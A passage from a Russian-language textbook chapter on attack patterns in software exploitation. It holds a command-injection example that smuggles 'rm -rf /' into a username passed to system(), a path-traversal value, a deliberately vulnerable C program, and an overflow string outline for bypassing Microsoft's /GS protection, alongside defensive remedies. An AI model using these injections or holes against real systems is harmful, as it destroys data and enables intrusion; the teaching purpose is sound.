Чтобы было понятнее, мы повторим то же самое другими словами. Ключевым яв>
ляется предположение, что пользователи, с которыми установлены доверительные
отношения, не предоставлюет “некорректных”или “вредоносных” данных. В одном
из видов этих доверительных отношений используется клиентское программное
обеспечение. Если клиентская программа создана в целях отправки только опреде>
ленных команд, то разработчики часто предполагают, что разумный пользователь

58

Глава 2

будет использовать клиентскую программу только для доступа к серверу. Незаме>
ченной часто остается проблема, что хакеры сами пишут программы. Опытный хакер
может написать свою собственную клиентскую программу или взломать сущест>
вующую. При этом созданное злоумышленником клиентское приложение может (и
будет) специально предоставлять вредоносные входные данные и точно в нужное
время.

Почему нельзя доверять пользователям
Рассмотрим простой пример, демонстрирующий ошибочность безусловного до>
верия к данным, вводимым пользователями. В нашем примере используется атрибут
maxsize HTML>формы. Формы представляют собой стандартный элемент для за>
проса пользователей Web>сайта о необходимости ввода данных. Они широко ис>
пользуются практически во всех Web>транзакциях. К сожалению, для большинства
Web>форм сделаны предположения о вводе только корректных данных.
Разработчик формы может задать максимальное количество символов, которые
разрешено вводить пользователю. Например, в следующем фрагменте кода размер
поля “username” ограничивается десятью символами.

Username


Дизайнер, который плохо разбирается в базовой технологии, может предполо>
жить, что удаленному пользователю теперь можно будет вводить не более десяти
символов в поле имени. При этом они могут не понимать, что ограничение происхо>
дит на компьютере удаленного пользователя, в его Web>браузере! Но ведь удален>
ный пользователь может применять Web>браузер, который не учитывает ограниче>
ние по размеру поля. Или же удаленный пользователь может создать собственный
браузер с такой возможностью. Или же удаленный пользователь вообще не будет
использовать Web>браузер. Он может просто вручную ответить на запрос формы с
помощью специального адреса URL.
http://victim/login.cgi?username=billthecat

В любом случае, не следует безоговорочно доверять данным удаленного пользо>
вателя и никогда не надеяться на его программное обеспечение. Ничего не мешает
удаленному пользователю предоставить в ответ на запрос следующий URL>адрес.
http://victim/login.cgi?username=THIS_IS_WAY_TOO_LONG_FOR_A_USERNAME

Предположения, основанные на доверии, наподобие приведенных выше, создают
потайные ходы между “комнатами” в нашем воображаемом доме. Опытный хакер
может использовать лазейку “безусловных доверительных отношений”, чтобы про>
никнуть из “фойе” в “кухню”.

Отмычка для замка
Злоумышленник способен тщательно подобрать входные данные и предусмот>
реть “правильный” порядок их поступления. При атаке каждый бит данных напоми>
нает ключ, который открывает путь к нужному коду. Полную атаку можно предста>
вить “связкой ключей”, которая позволяет последовательно “открыть все пути” в
программе. Обратите внимание, что эти “ключи” должны использоваться в опреде>
ленном порядке. После того как “ключ” использован, он должен быть отложен в сто>

Шаблоны атак

59

рону. Другими словами, проведение атаки предусматривает ввод абсолютно точных
данных в абсолютно точном порядке.
Программное обеспечение представляет собой матрицу решений. Решения транс>
формируются в ветви, которые соединяют блоки кода друг с другом. Представим эти
ветви в виде проходов, которые соединяют комнаты. “Двери” будут открыты, если
хакер введет нужные данные (“ключ”) в нужном порядке. В некоторых фрагментах
кода программы происходит выбор ветви в зависимости от введенных пользовате>
лем данных. Вот здесь и происходит “подбор ключей”. Хотя на определение этих
мест в программном коде требуется огромное количество времени, в некоторых слу>
чаях этот процесс можно автоматизировать. На рис. 2.2 показана структура дерева
кода стандартного FTP>сервера. На рисунке указано, какие ветви выбираются в за>
висимости от введенных пользователем данных.

Рис. 2.2. На схеме изображена древовидная структура программного кода типич
ного FTPсервера. Блоки представляют собой неразрывный код, а линии символизи
руют переходы и условные переходы между блоками кода. В выделенных жирными
линиями блоках кода обрабатываются пользовательские данные

60

Глава 2

Подобные схемы являются мощным средством при восстановлении исходного
кода и структуры программы. Однако иногда требуются гораздо более сложные дан>
ные. На рис. 2.3 показана более сложная трехмерная схема, которая также отобража>
ет внутреннюю структуру программы.

0x0047F150
0x0047B5A0
0x0047F120
0x00478CF0)

0x00487260
0x0047F180
0x00487288

0x0048573E

0x08486FC0
0x0047DA00

0x004857B0
0x00485270
0x00484BA0
0x0047C8B0
0x00412510

0x0049F408

0x0047B

0x0047C00O

0x00444850
0x0000000

0x0047C8E0

0x0042COB0

0x00444820

0x00444880

Рис. 2.3. Эта схема представлена в трех измерениях. Каждый фрагмент кода выглядит
как отдельный куб. Мы использовали пакет OpenGL для иллюстрации всех путей в
программном коде, ведущих к уязвимому вызову sprintf в атакуемой программе

Внутри отдельных “комнат” нашей программы обрабатываются различные час>
ти пользовательского запроса. На рис. 2.4 показан результат дизассемблирования
отдельного фрагмента кода из атакуемой программы. Следуя нашей аналогии, этот
код содержится в одной из “комнат” нашего “дома” (один из блоков, показанных на
приведенных выше рисунках). Злоумышленник может использовать эту информа>
цию для планирования атаки в каждой из “комнат”.

Простой пример
Рассмотрим программу атаки, при которой злоумышленник запускает команду ко>
мандного интерпретатора на атакуемой системе. Ошибка в программном коде, которая
приводит к появлению уязвимого места, может выглядеть следующим образом.

Шаблоны атак

61

Рис. 2.4. Результат дизассемблирования одной “комнаты” в атакуемой программе. Пер
вые строки листинга являются набором инструкций программы. Инструкции, которые
обрабатывают введенные пользователями данные, показаны в конце листинга. При
взломе программного обеспечения необходимо знать, как данные перемещаются в про
грамме (особенно пользовательские данные) и как данные обрабатываются в конкрет
ном блоке кода
$username = ARGV; #user-supplied data
system("cat /logs/$username" . ".log");

Обратите внимание, что при вызове функции system() ей передается параметр,
значение которого не проходит никаких проверок. Предположим, например, что
значение параметра username поступает из HTTP>cookie. HTTP>cookie представ>
ляет собой небольшой файл данных, который полностью составляется удаленным
пользователем (и, как правило, хранится в Web>браузере). Опытные разработчики
программного обеспечения знают, что данным файлов cookie доверять нельзя нико>
гда (за исключением криптографически защищенных файлов, которые прошли про>
верку).
Используемое в нашем примере уязвимое место возникло вследствие того, что
ненадежные данные файла cookie принимаются в системе и используется в команде
командного интерпретатора. В большинстве систем для командного интерпретатора
предоставляется доступ на уровне системы, и при “правильном” подборе символовв
качестве значения username, хакер может отправлять команды, которые будут
управлять удаленной системой.
Давайте рассмотрим этот пример немного подробнее. Если удаленный пользова>
тель в строку для имени введет значение bracken, то конечная команда нашего ко>
да, выполняемая с помощью вызова system(), будет такой, как показано ниже.
cat /logs/bracken.log

Эта команда отображает содержимое файла bracken.log из каталога logs в
окне Web>браузера. Если удаленный пользователь введет другое имя, например
nosuchuser, то команда будет иметь следующий вид.
cat /logs/nosuchuser.log

62

Глава 2

Если файла не существует, то происходит ошибка, о которой выдается уведомле
ние, а именно: не отображается никаких данных. С точки зрения злоумышленника
вызвать такую ошибку не очень интересно, но зато есть “пища для размышлений”.
Поскольку мы контролируем значение переменной username, то мы можем ввести
любые символы в качестве имени пользователя. Теперь воспользуемся преимущест
вами такого положения.
Давайте посмотрим, что произойдет, если мы введем “нужные символы в нужном
порядке”. Используем в качестве имени пользователя строку “../etc/passwd.” и
в результате получим следующую команду.
cat /logs/../etc/passwd.log

В данном случае мы использовали типичную хитрость перехода в корневой ката
лог для отображения содержимого файла /etc/passwd.log. Удалось это благода
ря тому, что мы имели полный контроль над именем файла, которое передается ко
манде cat. Жаль, что файл /etc/passwd.log отсутствует на большинстве UNIX
систем.
Наша программа атаки довольно проста и не приведет к серьезным негативным
последствиям. Но в результате даже небольших умственных усилий можно добавить
еще несколько команд, чтобы они были выполнены на атакуемом компьютере. А по
скольку уже вполне реально контролировать содержимое строки после команды
cat, то столь же реально добавить еще несколько команд.
Далее введем вредоносное имя пользователя, например “bracken; rm -rf /;
cat blah.”, которое приведет к последовательному запуску трех команд. В качест
ве разделителя команд используется символ точки с запятой.
cat /logs/bracken; rm -rf /; cat blah.log

В этой простой атаке несколько команд используются для удаления всех файлов
из корневого каталога. После такой атаки на взломанной системе останется только
корневой каталог и, возможно, каталог lostandfound. Вот к каким серьезным по
следствиям для всей системы может привести лишь одно “простое” уязвимое место в
строке кода для ввода имени пользователя на Webсайте.
Важно отметить, что здесь тщательно было подобрано значение для имени поль
зователя в конце собственной строки. Таким образом, конечная командная строка
будет иметь правильный формат, что позволит выполнить встроенные вредоносные
команды. Поскольку для разделения команд используется символ точки с запятой, в
нашем примере выполняются три команды. Но эту атаку нельзя назвать полностью
разумной! Последняя команда cat blah.log не будет выполнена, ведь уже были
удалены все файлы!
В конечном счете эта простая атака основана на управлении строками данных и
использовании синтаксиса языка на уровне системы.
Безусловно, наш пример атаки является тривиальным, но он демонстрирует, что
может произойти, когда программное обеспечение удаленной цели может запускать
команды, данные для которых поступают из непроверенных источников. Возвраща
ясь к нашей аналогии с домом, можно сказать, что в данном случае была оставлена
открытой “дверь”, позволившая хакеру управлять тем, какие команды должны вы
полняться программой.
В этой атаке мы только воспользовались уже существующими свойствами ата
куемой программы. Как увидим далее, существуют и значительно более мощные

Шаблоны атак

63

атаки, которые позволяют полностью обойти свойства атакуемого программного
обеспечения с помощью встроенного кода (и иногда даже вирусов). В качестве при>
мера можно назвать атаки на переполнение буфера, которые “прорубают новую
дверь” в “доме” программного обеспечения, разрушая “стены” управления потоком
данных. Это доказывает, что подобные атаки нацелены на структуру программ и
иногда в этих атаках используются чрезвычайно глубокие знания о “правилах по>
стройки домов”. Иногда это предполагает умение писать на машинном языке и вла>
дение предметом схемотехники. Безусловно, такие атаки намного сложнее, чем рас>
смотренная выше атака.

Схемы атак, или планы злоумышленника
Хотя беспрерывно появляются какие>то новшества, но на данный момент суще>
ствует всего лишь несколько довольно специфических методов взлома программно>
го обеспечения. Это означает, что применение стандартных методов взлома часто
позволяет найти новые способы проведения атак. Конкретная атака обычно являет>
ся результатом усовершенствования стандартной атаки для взлома конкретной це>
ли. Стандартные ошибки могут быть использованы хакерами для сокрытия данных,
предотвращения обнаружения, ввода команд, взлома баз данных и внедрения виру>
сов. Очевидно, что для того, чтобы хорошо научиться взламывать программное
обеспечение, следует ознакомиться со стандартными методами и шаблонами атак и
научиться определять, какой из этих методов наиболее подойдет для проведения
конкретной атаки.
Шаблон атаки — это набросок взлома по отношению к уязвимому месту в про>
граммном обеспечении. Таким образом, в шаблоне атаки предусматривается не>
сколько основных свойств уязвимого места и предоставляются сведения, необходи>
мые хакеру для взлома атакуемой системы.

Программа атаки, атака и хакер
Продолжая создавать список определений, скажем, что программа атаки
(exploit) — это экземпляр шаблона атаки, созданный для компрометации конкретно>
го фрагмента кода в атакуемой системе. Программы атаки обычно встроены в удоб>
ные для использования средства или программы. Программы атаки обычно хранятся
отдельно, что удобно для их классификации и доступа.
Атака (attack) — это процесс применения программы атаки. Этот термин часто
ошибочно используется для обозначения программы атаки. Атаки — это события,
которые раскрывают некорректные состояния и внутренние логические ошибки в
системе.
И последнее, хакер (attacker) —это человек, который использует программу атаки
для проведения атаки. Хакеры не всегда являются злоумышленниками, хотя и весь>
ма трудно избавиться от нехорошего подтекста этого слова. Обратите внимание, что
мы используем его даже по отношению к новичкам в деле взлома (script>kiddies), ко>
торые не способны самостоятельно создать программы атаки. Хакер — это тот, кто
представляет непосредственную угрозу для атакуемой системы. Каждая атака имеет
конечную цель, которой добивается человек. Без человека шаблон атаки представля>
ет собой только план на бумаге. Хакер воплощает теорию в практику. Каждая атака
может быть описана по отношению к уязвимым местам в атакуемой системе. Хакер

64

Глава 2

может ослабить или усилить атаку в зависимости от уровня его знаний и опыта.
Опытные хакеры лучше пользуются шаблонами атаки, чем их начинающие едино>
мышленники.

Шаблон атаки
Мы используем термин шаблон (pattern) в том же смысле, что и для шаблона вы>
кроек — набросок для проведения атаки определенного типа. В атаках на переполне>
ние буфера, например, используется несколько стандартных шаблонов. Шаблоны
позволяют сделать несколько “вариаций на одну тему”. Эти “вариации” могут быть
выполнены “по разным направлениям”, включая временной промежуток, исполь>
зуемые ресурсы, методы атаки и т.д.
Шаблон атаки включает в себя вектор вторжения, который одновременно указы>
вает на зону активизации и содержит полезную нагрузку (в данном случае полезной
нагрузкой являются данные, с помощью которых хакер проводит атаку). Что касает>
ся шаблона атаки, то очень важно понять различие между вектором вторжения и по>
лезной нагрузкой. Хорошая программа атаки не только позволяет взломать про>
граммный код, но и ухудшает ситуацию после исполнения кода с полезной нагруз>
кой. Вся суть в том, чтобы, используя ошибку, доставить полезную нагрузку в
нужное место и запустить эти вредоносные данные.

Вектор вторжения
С помощью вектора вторжения (injection vector) с максимально возможной точ>
ностью описывается формат атаки, основанной на введении вредоносных данных.
Каждая атакуемая среда накладывает определенные ограничения на форму прово>
димой атаки. В зависимости от наличия защитных механизмов, вектор внедрения
может быть очень сложным. Целью вектора внедрения является донести полезную
нагрузку атаки в зону активизации (activation zone) атакуемой системы. В векторе
вторжения должны учитываться основные принципы атаки, синтаксис команд, ко>
торые может принимать система, места размещения различных полей и допустимые
численные диапазоны принимаемых системой данных. Таким образом, вектор втор>
жения для конкретной атаки представляет собой набор базовых правил схемы про>
ведения атаки. Эти правила продиктованы ограничениями атакуемой среды. Векто>
ры ввода также отвечают за генерацию уведомлений обратной связи, т.е. с их помо>
щью хакер может проследить за ходом проведения атаки.

Зона активизации
Зона активизации (activation zone) — это область атакуемого программного обес>
печения, в которой возможно исполнение, или активизация, полезной нагрузки ата>
ки. В зоне активизации намерения хакера (посредством полезной нагрузки) вопло>
щаются в реальность. Зоной активизации может быть командный интерпретатор,
определенный исполняемый машинный код в буфере или вызовы системной биб>
лиотеки. В зоне активизации генерируются сообщения об успехе. Исполнение по>
лезной нагрузки называют активизацией полезной нагрузки.

Уведомление об успехе
Уведомление об успехе (output event) указывает на то, что был достигнут иско>
мый результат атаки (с точки зрения хакера). Таким уведомлением может оказаться,

Шаблоны атак

65

например, создание удаленного командного интерпретатора, выполнение команды
или уничтожение данных. Уведомление об успехе иногда может состоять из не>
скольких небольших событий, которые совместно указывают на достижение конеч>
ной цели атаки. Такие небольшие события называют слагаемыми элементами
(agreggation element) уведомления об успехе. Итак, уведомление об успехе демонст>
рирует, что цели и намерения хакера были достигнуты.

Уведомление обратной связи
Во время проверки системы на предмет ее взлома через уязвимое место генери>
руются уведомления обратной связи (feedback event). Это события, которые легко
может увидеть хакер. А то, насколько легко, зависит от среды реализации атаки.
Уведомлением обратной связи можно считать ответы на запросы и временные про>
межутки между событиями. Например, такой параметр, как время ответа на выпол>
нение конкретной транзакции, является уведомлением обратной связи. Уведомле>
ния обратной связи — это инструменты для определения успеха или неудачи прово>
димой атаки.

Пример атаки: взломанный компилятор C++
от компании Microsoft
Попробуем на примере прояснить нашу терминологию и связать ее с реальной
жизнью. В этом разделе мы рассмотрим уже неоднократно упоминавшуюся (но
очень важную) атаку на переполнение буфера. Безусловно, то, насколько опасной
будет атака на переполнение буфера, зависит от конкретной ситуации. Случайное
переполнение буфера, которое является простой ошибкой на техническом уровне, не
представляет серьезного риска. Но в основном переполнения буфера очень опасны.
Это настолько важное явление, что мы посвятили переполнению буфера целую гла>
ву (см. главу 7, “Переполнение буфера”). В данном случае мы используем реальный
пример, чтобы показать, как шаблон атаки может превратиться в реальную про>
грамму атаки. При рассказе мы будем приводить фрагменты кода. Наши читатели
могут стать на место злоумышленника, скопировать наш код, скомпилировать его и
затем провести атаку на него, чтобы проанализировать результаты. Как вы увидите,
это довольно забавный пример.
В феврале 2001 года компания Microsoft добавила свойство безопасности к сво>
ему компилятору для языка C++, последняя версия которого называлась и Visual
5
C++.NET и Visual C++ version 7 . Итак, чтобы использовать программу атаки в сво>
их целях, нужно найти взломанную версию компилятора.
Новая функция безопасности компилятора была предназначена для автоматиче>
ской защиты потенциально уязвимого исходного кода от некоторых типов атак на
переполнение буфера. Защита достигается за счет нового свойства, которое позволя>
ет разработчикам продолжать использовать потенциально уязвимые строковые
функции, например strcpy() (источник многих проблем), и быть под “защитой” от
манипуляции со стеком. Это новое свойство во многом основано на изобретении
Криспина Кована (Crispin Cowan) под названием StackGuard и используется при
5

Это уязвимое место открыл Крис Рэн (Chris Ren), специалист компании Cigital, который
внес значительный вклад в написание этого раздела. — Прим. авт.

66

Глава 2

создании стандартного машинного кода (а не кода на промежуточном языке .NET).
Обратите внимание, что новая возможность предназначена для защиты любой про>
граммы, скомпилированной с помощь “защищенного” компилятора. Другими сло>
вами, использование новой возможности должно помочь разработчикам создавать
более безопасное программное обеспечение. Однако, в своей взломанной форме, но>
вая возможность Microsoft приводит к ложному чувству безопасности, поскольку ее
легко преодолеть. По всей видимости, компания Microsoft, как и в прошлом, отдает
предпочтение все же производительности, а не безопасности.
StackGuard — не самое лучшее средство для защиты от атак на переполнение буфе>
ра. На самом деле это средство было создано под сильным давлением со стороны раз>
работчиков. Кован просто внес исправления в генератор кода gcc, чтобы не пришлось
создавать новый генератор или полностью менять архитектуру компилятора gcc.
Новая функция защиты от Microsoft обеспечивает возможность вызывать
“защищенный обработчик ошибок” при возникновении потенциально опасной си>
туации. Тот факт, что атака может быть выявлена на таком раннем этапе, демонст>
рирует мощь концепции шаблонов атак. Однако такой способ реализации защищен>
ного обработчика ошибок, привел к тому, что сама функция безопасности Microsoft
оказалась уязвимой для атак! Злоумышленник может провести специальную атаку
на “защищенную” программу, которая непосредственно взломает защитный меха>
низм. Безусловно, этот новый тип атаки определяет новый шаблон.
Существует несколько других, не основанных на StackGuard, методов, которыми
могут воспользоваться создатели компиляторов для защиты от атак на переполне>
ние буфера. Компания Microsoft предпочла слабое решение более сложному. Это
просчет на уровне проекта, который приводит к возможности проведения большого
количества атак на программный код, скомпилированный с помощью нового компи>
лятора. Таким образом, компилятор Microsoft можно назвать “разносчиком уязви>
мых мест” в программах.
Вместо того чтобы надеяться на функцию запускаемого во время исполнения
компилятора для защиты от атак на переполнение буфера, разработчики и архитек>
торы должны установить строгие правила создания программного обеспечения,
предполагающие в том числе проверки исходного кода. Для обнаружения потенци>
альных проблем в исходном коде программ C++ (для защиты от которых и предна>
значена рассматриваемая нами функция Microsoft), могут и должны применяться
средства статического анализа, например SourceScope от Citigal или программа с от>
крытым исходным кодом ITS4. Гораздо лучше заранее полностью устранить эти
проблемы в исходном коде, чем пытаться заблокировать их при попытке атак во
6
время выполнения программы .
Судя по высказываниям Билла Гейтса в январе 2002 года, компания Microsoft де>
лает крутой поворот в сторону обеспечения безопасности. Однако у этой компании
надолго хватит работы по усовершенствованиям, поскольку даже в функциях обес>
печения безопасности присутствуют просчеты на уровне проекта.
Одним из положительных качеств StackGuard и родственного ему средства от
Microsoft является эффективность механизмов проверки. Однако существует не>
сколько способов для обхода этих механизмов. Атаки, которые провела Cigital для
6

Более подробная информация об анализе исходного кода и его роли в деле обеспечения
безопасности содержится в книге Buiding Secure Software. — Прим. авт.

Шаблоны атак

67

взлома механизмов защиты Microsoft, вовсе не являются новыми и вовсе не требуют
каких>либо исключительных усилий. Если бы специалисты Microsoft ознакомились
с литературой о недостатках StackGuard, то они смогли бы избежать возможности
проведения таких атак.

Технические подробности атаки
Для создания приложений с функцией так называемой “проверки безопасности
буфера” разработчики программ на Visual C++.Net (Visual C++ 7.0) могут восполь>
зоваться параметром /GS компилятора. В 2001 году сотрудниками Microsoft было
написано по меньшей мере две статьи о новой возможности, которые затем были
7
удалены из Internet . Основываясь на этой документации относительно параметра
/GS и исследовав двоичные инструкции, генерируемые компилятором при исполь>
зовании этого параметра, исследователи Cigital определили, что параметр /GS по су>
ти является Win32>реализацией программы StackGuard. Этот вывод был проверен
независимыми исследователями компании Immunix.
Благодаря переполнению буфера в стеке хакер получает массу возможностей для
перехвата выполнения программы. При использовании широкоизвестного и попу>
лярного шаблона атаки в стеке перезаписывается адрес возврата функции данными,
которые предоставляет хакер. Управление передается по адресу в эпилоге функции,
в котором хакер размещает вредоносный код.
Разработчики StackGuard впервые предложили идею размещения сигнального
слова (canary word) перед адресом возврата из функции в прологе функции. В эпи>
логе функции выполняется проверка содержимого стека на предмет того, не был ли
изменен адрес возврата функции (по сигнальному слову). Позднее этот метод про>
верки был усовершенствован с помощью использования функции XOR для сиг>
нального слова и адреса возврата, чтобы не дать хакеру возможности обойти значе>
ние сигнального слова и переписать адрес возврата из функции. StackGuard можно
считать удачным решением для блокирования некоторых атак на переполнение бу>
фера путем выявления этих атак во время выполнения программы. В подобном
средстве под названием StackShield используется отдельный стек для хранения ад>
ресов возврата из функций.
Изменение адреса возврата из функции не является единственным способом для
перехвата управления в программе. В статье на сайте журнала Phrack можно найти
описание других возможных атак на переполнение буфера, которые позволяют пре>
одолеть защиту, организованную с помощью средств, подобных StackGuard и
StackShield8. Шаблон атаки можно охарактеризовать следующим образом. Если в
стеке “после” уязвимого буфера существуют переменные, содержащие указатели на
функции, то сначала хакер организовывает переполнение буфера, которое искажает
данные указатели, и далее при вызове функций по этим указателям управление пе>
редается подготовленному коду, сохраненному по указанному адресу памяти. Затем
предоставленное хакером значение может быть записано по этому адресу. Идеаль>
ной областью памяти для хакера будет указатель функции, которая вызывается
7

Автором одной статьи является Майкл Говард (Michael Howard), а другой — Брендон
Брей (Brandon Bray). — Прим. авт.
8
Статья под названием “Bypassing Stackguard And StackShield” доступна по адресу
http://www.phrack.org/show.php?p=56&a=5.

68

Глава 2

позже в программе. В статье журнала Phrack обсуждается, как найти такой ука>
затель функции в глобальной таблице смещений (Global Offset Table — GOT).
Пример реальной атаки для обхода защиты StackGuard был опубликован по ад>
ресу http://www.securityfocus.com/archive/1/83769 .

Обзор Microsoft-реализации средства StuckGuard
Много технических сведений по реализации параметра /GS в компиляторе от
Microsoft можно найти в трех исходных файлах модуля CRT, а именно: seccinit.c,
seccook.c и secfail.c. Другие детали можно узнать, исследовав инструкции,
которые генерируются компилятором с установленным параметром /GS.
Единственное средство безопасности (сигнальное слово) инициализируется в вы>
зове процедуры CRT_INIT. Создан новый вызов библиотеки _set_security_error
_handler, который может использоваться для установки определенного пользова>
телем обработчика. Указатель функции к обработчику пользователя хранится в гло>
бальной переменной user_handler. В эпилоге функции генерируемая компилято>
ром инструкция переходит к функции security_check_cookie, определенной в
файле seccook.c. Если сигнальное слово было изменено, вызывается функция
security_error_handler, которая определена в файле secfail.c. Функция
security_error_handler сначала проверяет, был ли инсталлирован предостав>
ленный пользователем обработчик. Если это так, то вызывается обработчик пользо>
вателя, а если нет, то по умолчанию выводится сообщение “Buffer Overrun Detected”
(“Обнаружено переполнение буфера”) и работа программы завершается.
В этой реализации функции защиты есть несколько проблемных решений. В Win>
dows не предусмотрено ничего подобного глобальной таблице смещений (GOT)
с возможностью записи данных, поэтому даже учитывая описанное выше размеще>
ние данных в стеке, злоумышленнику непросто найти подходящий для использова>
ния указатель функции. Однако из>за доступности переменной user_handler ха>
керу совсем не нужно выполнять сложный поиск подходящей цели!

Обход функции защиты для компилятора от Microsoft
Рассмотрим следующую небольшую программу.
#include
#include
/*

где
request_data — входной параметр, в котором содержится предоставленная
пользователем зашифрованная строка, наподобие
"host=dot.net&id=user_i d&pw=user_password&cookie=da".
user_id – выходной параметр, который используется для копирования декодированного значения 'user_id'.
password– выходной параметр, который используется для копирования декодированного значения 'password'
*/
void decode(char *request_data, char *user_id, char *password){
char temp_request[64];
char *p_str;
strcpy(temp_request, request_data); P_str = strtok(temp_request, "&");
while(p_str != NULL){
if (strncmp(p_str, "id=", 3) == 0){
strcpy(user_id, p_str + 3 );

Шаблоны атак

}

69

}
else if (strncmp(p_str, "pw=", 3) == 0){
strcpy(password, p_str + 3);
}
p_str = strtok(NULL, "&");
}

/*

Любая комбинация приведет к ошибке.
*/
int check_password(char *id, char *password){
return -1;
}
/*
Мы используем параметр argv[1] для передачи строки запроса.
*/
int main(int argc, char ** argv)
{
char user_id[32];
char password[32];
user_id[0] = '\0';
password[0] = '\0';
if ( argc < 2 ) {
printf("Usage: victim request.\n");
return 0;
}
decode( argv[l], user_id, password);
if ( check_password(user_id, password) > 0 ){
// невыполняемый участок программы.
printf("Welcome!\n");
}
else{
printf("Invalid password, user:%s password:%s.\n",
user_id, password);
}
}

return 0;

Функция decode содержит буфер, размер которого не проверяется, и пара>
метры этой функции могут быть перезаписаны с помощью значения параметра
temp_request.
Если программа компилируется с использованием параметра /GS, то невозможно
организовать переполнение буфера и изменить ход исполнения программы с помо>
щью затирания адреса возврата для функции decode. Однако для переполнения
буфера можно использовать значение параметра user_id функции decode с целью
заставить ее обращаться сначала к значению описанной выше переменной
user_handler! Таким образом при вызове функции strcpy(user_id, p_str +
3 ); мы можем назначить желаемое значение для переменной user_handler. На>
пример, мы можем заставить ее обращаться к области хранения в памяти функции
printf("Welcome!\n");, таким образом, при обнаружении переполнения буфера
оно может представляться установленным пользователем обработчиком ошибки и
программа будет исполнять printf("Welcome!\n");. Наша строка для проведе>
ния атаки будет выглядеть примерно следующим образом.
id=[адрес перехода]&pw=[любое]AAAAAA....AAA[адрес обработчика пользователя]

70

Глава 2

После компиляции такой “защищенной” выполняемой программы определение
адреса области для хранения значения переменной user_handler осуществляется
достаточно просто при наличии минимальных знаний о восстановлении исходного
кода. Результат состоит в том, что программа, которая должна быть защищена от
атак, определенного типа оказывается уязвимой именно при проведении этих атак.

Решения
Существует несколько альтернативных методов защиты от атак на переполнение
буфера. Лучшим решением является переход разработчиков на языки, обеспечиваю>
щие безопасность типов, например на Java или C#. Еще одним прекрасным решением
являются компиляция программы с динамическими проверками строковых функций
во время выполнения программы (хотя следует учесть снижение производительно>
сти). Эти решения не всегда удобны относительно задач конкретного проекта.
Кроме того, возможно изменение использующегося метода компиляции с приме>
нением параметра /GS. Основная цель предложенных далее исправлений заключа>
ется в том, чтобы добиться более высокого уровня целостности данных в стеке.
1. Гарантируйте целостность значений переменных, которые хранятся в стеке, с по>
мощью более жестких проверок сигнального слова. Если переменная размещает>
ся после буфера в стеке, проверка должна выполняться до использования пере>
менной. Частота таких проверок может устанавливаться с помощью использова>
ния зависимого от данных анализа.
2. Гарантируйте целостность значений переменных, которые хранятся в стеке, с по>
мощью перестройки структуры стека. По возможности локальные “безбуферные”
переменные должны размещаться перед переменными, которые используют бу>
фер. Более того, поскольку параметры функций сохраняются в стеке после бу>
феров локальных функций (если они есть), то к параметрам функций должен
применяться тот же подход. В прологе функции можно зарезервировать допол>
нительное пространство в стеке перед данными локальных буферов. Это по>
зволяет скопировать значения всех параметров. При каждом использовании
параметра в теле функции, его значение можно заменить значением созданной
копии. Это решение было внедрено по крайней мере в одном исследователь>
9
ском проекте IBM .
3. Гарантируйте целостность значений глобальных переменных с помощью контро>
лируемого механизма записи. Очень часто значения глобальных переменных ис>
кажаются в результате ошибок в программе и/или умышленного повреждения.
Контролируемый механизм записи позволяет разместить набор таких перемен>
ных в область памяти, доступную только для чтения. При необходимости изме>
нения значения переменной из этой области разрешение на доступ к этой области
памяти должно быть изменено на “доступно для записи” (“writeable”). После вне>
сения необходимых изменений относительно прав доступа, возвращается разре>
шение “только для чтения” (read>only). При таком механизме неожиданные по>
пытки перезаписи значений защищенных переменных приводят к нарушениям
прав доступа к памяти. Для тех переменных, значения которых изменяются один
9

Более подробную информацию об этом проекте можно получить по адресу http://www.
trl.ibm.com/projects/security/ssp.

Шаблоны атак

71

или два раза в ходе выполнения программы, издержки применения контроли>
руемого механизма записи незначительны.
В следующих версиях этого компилятора от Microsoft эти идеи нашли примене>
ние (частично).

Обзор атаки
Теперь стала очевидной ирония этой атаки: компания Microsoft сама встроила
“сеялку” уязвимых мест в свой компилятор добавив функцию, которая была предна>
значена для защиты от атак! При этом (что замечательно) шаблоном атаки для
взлома этой возможности стал тот же шаблон, для защиты от которого предназна>
чалась функция защиты. Суть проблемы заключается в том, что ранее безопасные
строковые функции становятся уязвимыми при вызове новой функции. Как ви>
дим, это угрожает безопасности программного обеспечения, но защищает от взло>
10
ма программ .
Два года спустя после публичного обсуждения этого просчета, были созданы по
крайней мере две программы атаки, использующие установку при компиляции па>
раметра /GS для проведения двухэтапных атак. Как и предсказывалось, механизм
защиты использовался в качестве плацдарма для проведения этих атак.

Применение шаблонов атак
Взлом системы — это, схематично выражаясь, процесс поиска и использования
того, что было найдено. Злоумышленник поэтапно изучает цель перед тем, как обна>
ружит и использует уязвимое место. Ниже будет приведен весьма поверхностный
обзор стандартных действий хакера. Позже мы вернемся к этим идеям, когда перей>
дем к техническому исследованию программ атаки.
Успешная атака включает в себя несколько последовательных действий. Во пер>
вых, нужно оценить атакуемую систему, т.е. узнать, какие есть точки доступа. Затем
нужно узнать, какие транзакции разрешено выполнять через эти точки доступа. Ка>
ждый тип транзакций должен быть проверен с целью оценить возможность атаки.
Затем хакер может использовать шаблон атаки для создания некорректных, но
“разрешенных” транзакций для манипуляций программным обеспечением. Для это>
го требуется внимательное изучение результатов каждой проведенной транзакции,
чтобы узнать, было ли выявлено возможное уязвимое место. После обнаружения
уязвимого места можно проверить программу атаки и таким образом получить дос>
туп к системе.
В этом разделе мы расскажем о нескольких обширных классах шаблонов атак.
Опытный хакер обладает работающими шаблонами атак из каждой из этих катего>
рий. Набор шаблонов атак составляет рабочий инструмент злоумышленника.

Сканирование сети
Уже создано достаточно специализированных средств для проведения сканиро>
вания сети. Вместо того чтобы рассматривать конкретные наборы средств или ха>
керских сценариев, мы призываем читателей самостоятельно изучить сетевые про>
10

Выявление этого просчета вызвало бурную реакцию в прессе. Ссылки на статьи по этому
вопросу можно найти по адресу http://www.citigal.com/press.

72

Глава 2

токолы и узнать, как эти протоколы могут использоваться для доступа к цели и оп>
ределения структуры сети. Начните, например, с книги Скембрей Д., Шема М. Сек
реты хакеров: безопасность Webприложений — готовые решения. "Вильямс", 2003.
Анализируя протоколы, которым уже более 20 лет, вполне можно открыть новые
шаблоны атак (вспомним хотя бы сканирование с помощью ICMP>запросов, SYN>
пакетов, UDP>сканирование и др.). Новые протоколы предоставляют даже более
простые возможности. Например, предлагаем читателям ознакомиться с работой
11
Офира Аркина (Ofir Arkin) по сканированию с помощью ICMP>пакетов .
Сканирование сети можно расценивать и как нечто очень простое (что можно ос>
тавить для автоматизированных программ), и как нечто сложное, требующее науч>
ного подхода и действий вручную. Операции сканирования сетей практически все>
гда могут выявляться на удаленных сайтах, которыми управляют крайне мнитель>
